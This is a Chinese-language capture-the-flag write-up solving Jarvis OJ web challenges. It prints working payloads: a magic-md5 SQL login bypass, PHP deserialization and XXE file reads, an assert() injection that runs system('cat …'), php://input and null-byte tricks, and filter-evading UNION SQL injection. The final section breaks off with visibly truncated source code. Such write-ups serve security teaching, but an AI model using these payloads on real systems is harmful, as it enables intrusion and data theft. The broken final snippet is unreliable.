Jarvis OJ-WEB

PORT51

Please use port 51 to visit this site.

需要一台有官网IP的机器,用51端口访问url即可获得flag。

1
curl --local-port 51 http://web.jarvisoj.com:32770/

LOCALHOST

localhost access only!!

使用本地访问,首先想到X-Forwarded-For。添加header为127.0.0.1即可获得flag。

Login

需要密码才能获得flag哦。

在返回的header里发现

1
Hint: "select * from `admin` where password='".md5($pass,true)."'"

可以使用ffifdyop

ffifdyop结果md5后是276f722736c95d99e921722cf9ed621c,而这串md5值转为字符串就是'or'6(乱码)可以绕过这个sql语句,进而得到flag。

神盾局的秘密

这里有个通向神盾局内部网络的秘密入口,你能通过漏洞发现神盾局的秘密吗?

发现图片的地址是:/showimg.php?img=c2hpZWxkLmpwZw==,尝试读取index.php:

1
/showimg.php?img=aW5kZXgucGhw

得到:

1
2
3
4
5
6
7
8
9
<?php 
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>

再读一下shield.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}

function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>

简单的反序列化,构造序列化读取flag。

1
2
3
4
5
6
7
8
9
<?php
class Shield {
public $file;
function __construct() {
$this -> file = 'pctf.php';
}
}
echo(serialize(new Shield()));
?>

结果为:O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";},请求:

1
2
3
4
5
6
index.php?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
<?php
//Ture Flag : PCTF{W3lcome_To_Shi3ld_secret_Ar3a}
//Fake flag:
echo "FLAG: PCTF{I_4m_not_fl4g}"
?>

得到flag。

api调用

请设法获得目标机器/home/ctf/flag.txt中的flag值。

在源码中可以看到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
function XHR() {
var xhr;
try {xhr = new XMLHttpRequest();}
catch(e) {
var IEXHRVers =["Msxml3.XMLHTTP","Msxml2.XMLHTTP","Microsoft.XMLHTTP"];
for (var i=0,len=IEXHRVers.length;i< len;i++) {
try {xhr = new ActiveXObject(IEXHRVers[i]);}
catch(e) {continue;}
}
}
return xhr;
}

function send(){
evil_input = document.getElementById("evil-input").value;
var xhr = XHR();
xhr.open("post","/api/v1.0/try",true);
xhr.onreadystatechange = function () {
if (xhr.readyState==4 && xhr.status==201) {
data = JSON.parse(xhr.responseText);
tip_area = document.getElementById("tip-area");
tip_area.value = data.task.search+data.task.value;
}
};
xhr.setRequestHeader("Content-Type","application/json");
xhr.send('{"search":"'+evil_input+'","value":"own"}');
}

构造XXE:

1
2
3
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///home/ctf/flag.txt">]>
<test><search>&xxe;</search></test>

/api/v1.0/tryPOST后获得flag。

[61dctf]admin

在robots.txt里给了一个php:

1
Disallow: /admin_s3cr3t.php

直接访问提示:

1
flag{hello guest}

可以注意到现在cookie有一个admin且值为0,把它改成1刷新页面得到flag。

[61dctf]babyphp

在about里提示:

1
2
3
4
5
6
7
昨儿做梦的时候我在梦里写了这个网站

印象中我用了这些东西:

PHP
GIT
Bootstrap

访问http://web.jarvisoj.com:32798/.git/发现有源码泄露。在源码中看到flag.php,此外,index源码为(php部分):

1
2
3
4
5
6
7
8
9
10
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
assert("file_exists('$file')") or die("That file doesn't exist!");
?>

在最后一行文件读取时拼接了字符串,可以构造语句拼接。先闭合了前面的单引号然后再执行我们的命令。payload:

1
/?page='.system("cat templates/flag.php").'

IN A Mess

连出题人自己都忘了flag放哪了,只记得好像很混乱的样子。

打开后在源码中看到提示:<!--index.phps-->

访问index.phps获得源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

error_reporting(0);
echo "<!--index.phps-->";

if(!$_GET['id'])
{
header('Location: index.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'Hahahahahaha';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("flag.txt");
}
else
{
print "work harder!harder!harder!";
}


?>

id的判断可以用'0'0e之类的来绕过。a可以用php://input伪协议,data也可以。b需要%00截断来绕过eregi函数,最后的payload:

1
2
3
/index.php?id='0'&a=php://input&b=%0011111
POST:
1112 is a nice lab!

得到Come ON!!! {/^HT2mCpcvOLf}

访问:/^HT2mCpcvOLf跳转到:/%5eHT2mCpcvOLf/index.php?id=1

在id后加个单引号返回SQL语句:

1
SELECT * FROM content WHERE id=1'

可能是sql注入。

空格被过滤,使用/*1*/绕过。union select也被过滤,可以使用双写绕过。

1
id=-1/*1*/uniounionn/*1*/selselectect/*1*/1,2,3

返回3。读取数据库:

1
id=-1/*1*/uniounionn/*1*/selselectect/*1*/1,2,database()

读表:

1
id=-1/*1*/uniounionn/*1*/selselectect/*1*/1,2,group_concat(table_name)/*1*/frofromm/*1*/information_schema.tables/*1*/where/*1*/table_schema=database()

返回content,读列:

1
id=-1/*1*/uniounionn/*1*/selselectect/*1*/1,2,group_concat(column_name)/*1*/frofromm/*1*/information_schema.columns/*1*/where/*1*/table_name=0x636f6e74656e74

返回id,context,title,读context:

1
id=-1/*1*/uniounionn/*1*/selselectect/*1*/1,2,context/*1*/frofromm/*1*/content

得到flag。

flag在管理员手里 @TODO

只有管理员才能获得flag,你能想办法获得吗?

打开页面提示:Only Admin can see the flag!!。在cookie里有一个role且值为:

1
s%3A5%3A%22guest%22%3B

解一下url即:s:5:"guest";修改成admin刷新一下,并没有什么用。看这个cookie应该是序列化的字符串,尝试找一下源码。发现有一个index.php~,文件里是乱码。修改后缀为.swp使用vim -r命令恢复回源码(只写php):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php 
$auth = false;
$role = "guest";
$salt = if (isset($_COOKIE["role"])) {
$role = unserialize($_COOKIE["role"]);
$hsh = $_COOKIE["hsh"];
if ($role === "admin" && $hsh === md5($salt . strrev($_COOKIE["role"]))) {
$auth = true;
} else {
$auth = false;
}
} else {
$s = serialize($role);
setcookie('role', $s);
$hsh = md5($salt . strrev($s));
setcookie('hsh', $hsh);
}
if ($auth) {
echo "<h3>Welcome Admin. Your flag is
} else {
echo " < h3 > OnlyAdmincanseetheflag!! < / h3 > ";
}
?>
0%